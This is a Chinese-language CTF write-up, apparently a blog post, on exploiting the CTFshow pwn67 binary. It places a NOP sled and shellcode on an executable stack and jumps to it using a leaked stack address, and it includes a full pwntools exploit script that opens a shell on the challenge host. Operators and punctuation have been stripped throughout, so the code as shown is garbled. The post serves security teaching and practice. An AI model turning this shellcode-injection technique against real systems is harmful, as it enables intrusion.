CTFshow-PWN实战:利用NOP Sled绕过栈保护获取Shell

张开发
2026/4/7 2:06:51 15 分钟阅读

分享文章

CTFshow-PWN实战:利用NOP Sled绕过栈保护获取Shell
1. 理解NOP Sled技术原理NOP Sled空操作雪橇是二进制漏洞利用中的经典技术特别适合应对地址随机化ASLR或栈地址不确定的情况。它的核心思想就像滑雪场里的缓冲坡道——通过布置大量无操作指令NOP让执行流无论落在坡道的哪个位置都能顺利滑向最终的目标指令。NOP指令的机器码是0x90CPU执行这条指令时只会消耗一个时钟周期不做任何实际操作。当我们在shellcode前面布置200-300个NOP指令时就相当于构建了一个安全的着陆区。只要程序跳转到这个区域内的任意位置处理器就会像坐雪橇一样逐条执行NOP指令直到命中真正的shellcode。在实际CTF比赛中NOP Sled常与以下场景配合使用程序泄露了栈地址但存在随机偏移需要绕过栈保护机制如Canary存在地址随机化但偏移范围可控2. 题目环境搭建与分析我们先准备好实验环境wget http://pwn.challenge.ctf.show/pwn67 chmod x pwn67 checksec pwn67使用checksec查看保护机制会显示Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000)关键保护情况解读Canary需要绕过栈保护不能直接覆盖返回地址NX disabled栈上的shellcode可以执行No PIE代码段地址固定便于定位函数用IDA反编译后重点观察这两个函数// 位置查询函数 char *query_position() { char v1; // [esp3h] [ebp-15h] int v2 rand() % 1337 - 668; // 随机偏移-668到668 return v1 v2; // 返回栈地址随机偏移 } // 主函数关键逻辑 int main() { char *position query_position(); printf(Current location: %p\n, position); // 泄露栈地址 fgets(seed, 4096, stdin); // 输入shellcode scanf(%p, v5); // 输入跳转地址 v5(); // 执行跳转 }3. 栈布局与内存计算通过IDA的栈帧分析我们绘制出关键变量的内存关系高地址 ----------------- | seed | -- ebp-0x1010 | (4096 bytes) | ----------------- | padding | ----------------- | v1 | -- query_position的ebp-0x15 ----------------- 低地址计算seed到v1的精确距离main函数的seed位于ebp-0x1010query_position的v1位于ebp-0x15考虑函数调用时的ebp压栈实际偏移为0x1010 (seed到main_ebp) 4 (main_ebp本身) 0x15 (v1到query_position_ebp) 0x1029但实际调试中发现更简单的计算方式seed - v1 0x2D由于程序给出了position v1 random_offset我们需要构造的跳转地址应该满足跳转地址 position 固定偏移 v1 random_offset 固定偏移 ≈ seed (固定偏移 - random_offset)为确保覆盖所有可能的random_offset-668到668我们取中间值固定偏移 668 0x2D # 抵消最大负偏移4. 构造NOP Sled与Shellcode根据随机偏移范围我们设计payload结构[ NOP Sled ] [ Shellcode ]具体实现要点NOP Sled长度应覆盖最大正偏移668字节使用i386架构的经典shellcode地址计算要包含安全余量from pwn import * context.arch i386 shellcode asm(shellcraft.sh()) # 生成23字节的sh shellcode nop_size 668 100 # 安全余量 payload b\x90 * nop_size shellcode5. 完整漏洞利用脚本结合所有分析编写自动化利用脚本from pwn import * def exploit(): context(archi386, log_leveldebug) # 本地测试或远程连接 if args.LOCAL: p process(./pwn67) else: p remote(pwn.challenge.ctf.show, 28144) # 接收泄露的栈地址 p.recvuntil(location: ) leak_addr int(p.recvline(), 16) log.success(fLeaked address: {hex(leak_addr)}) # 构造payload shellcode asm(shellcraft.sh()) nop_padding 1336 # 覆盖668*2的范围 payload b\x90 * nop_padding shellcode # 计算跳转地址 fixed_offset 0x2D 668 jump_addr leak_addr fixed_offset log.info(fJump address: {hex(jump_addr)}) # 发送攻击数据 p.sendline(payload) p.sendline(hex(jump_addr)) # 获取交互shell p.interactive() if __name__ __main__: exploit()6. 实战调试技巧遇到问题时可以借助GDB进行动态调试gdb -q ./pwn67 -ex b *0x080489A7 -ex r关键断点设置在query_position返回前查看v1地址在fgets之后检查栈上payload布局在v5()调用前验证跳转地址调试中发现的一个坑点有时需要调整固定偏移量可以通过以下方法验证# 尝试不同偏移量 for delta in range(0x2D-10, 0x2D10): try: p.sendline(hex(leak_addr 668 delta)) p.recv(timeout1) except: continue7. 技术变种与防御措施现代系统针对NOP Sled的防御包括ASLR增加地址随机化程度NX使栈不可执行Canary检测栈破坏绕过这些保护的组合技术信息泄露NOP Sled先泄露地址再使用sledROP链当NX启用时转向返回导向编程堆喷射在堆上布置NOP Sled在本题中我们恰好遇到允许栈执行的理想场景NX disabled这种配置在实际系统中已经很少见但在CTF中仍常见。8. 总结与延伸学习通过这个案例我们掌握了NOP Sled的构造原理栈地址泄露的利用方法带随机偏移的地址计算pwntools的实战应用推荐延伸练习尝试64位版本的题目如pwn68修改脚本实现自动化偏移探测研究如何结合格式字符串漏洞泄露栈地址最后分享一个调试小技巧在payload中插入特殊标记如DEADBEEF便于在内存中快速定位我们的数据。

更多文章